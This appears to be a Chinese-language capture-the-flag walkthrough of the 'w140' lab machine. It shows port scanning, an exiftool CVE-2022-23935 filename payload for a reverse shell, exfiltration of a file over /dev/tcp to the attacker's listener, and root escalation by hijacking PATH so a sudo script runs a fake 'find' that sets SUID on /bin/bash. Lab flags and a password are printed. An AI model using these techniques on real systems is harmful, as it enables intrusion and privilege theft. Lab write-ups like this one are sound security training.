信息搜集
主机扫描
arp-scan -l
端口扫描
┌──(root㉿kali)-[~]
└─# nmap -sV -p- -Pn 192.168.56.158
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 03:52 EDT
Nmap scan report for 192.168.56.158
Host is up (0.00028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.54 ((Debian))
MAC Address: 08:00:27:EA:A7:DE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.52 seconds
路径扫描
在网站发现了一个可上传文件页面,我第一时间想的是上传一句话木马,无果,不存在解析漏洞,看了567师傅的视频,发现竟然和储存页面,显示文件信息的关系有关,属实稀奇,第一次见这种(菜
基于exiftool的版本漏洞,来进行攻击
拿取shell
- 因为管道符的原因,bp抓包,将图片名改变成payload,反弹shell
- payload生成:GitHub - cowsecurity/CVE-2022-23935:CVE-2022-23935 利用 Python 编写的 PoC exiftool 版本 12.37
在www目录下发现一个隐藏图片,肯定大作用
靶机:
cat .w140.png > /dev/tcp/kali ip/port
kali:
nc -lp port
获得图片,是一个二维码
在我信息搜集时,发现有一个ghost用户,八成是密码了
password:BaoeCblP5KGJDmA
成功切换ghost
得到user.txt:61f1157a5b8f5a4b6729367098fcb2a4
提权
sudo -l
Matching Defaults entries for ghost on w140:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ghost may run the following commands on w140:
(root) SETENV: NOPASSWD: /opt/Benz-w140
我们发现存在可执行的root命令,查看内容
#!/bin/bash
. /opt/.bashre
cd /home/ghost/w140
# clean up log files
if [ -s log/w140.log ] && ! [ -L log/w140.log ]
then
/bin/cat log/w140.log > log/w140.log.old
/usr/bin/truncate -s@ log/w140.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
我逐步解释一下:
- 首先,开始我以为要写一个bash在图片里,但思来想去,不对,脚本结尾时为目录的图片加root,但是呢不是我想要的,我想要的是suid权限
- 所以根据师傅的提示,需要用到find+路径劫持,因为像cat,truncate命令路径已经规定死了,想要路径劫持,显然是不可能的,所以,find正好合适,既没有规定好路径,又有root权限,那么我们伪造一个find,为bash加上suid位,从而提权
payload:
echo "chmod +s /bin/bash" > find
sudo PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/Benz-w140
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
详细解释一下payload:
- 首先给/bin/bash加suid位
- 其次路径劫持,将文件,提前执行我们的find命令,从而触发内容的命令,成功获取root权限
- 最后我最想说的一件事,本身$PATH的路径是没有变的,只是临时改变,意思是只在当前会话中有效,本身PATH没有改变,
root.txt:2f9f7d1b4a6ae9d6bbbaf6298c5dcc25
知识点:
1.关于secure_path
和PATH的区别
secure_path
只影响使用sudo
命令时的命令搜索路径。PATH
影响系统中所有用户的命令搜索路径。
2.PATH路径劫持
Comments | NOTHING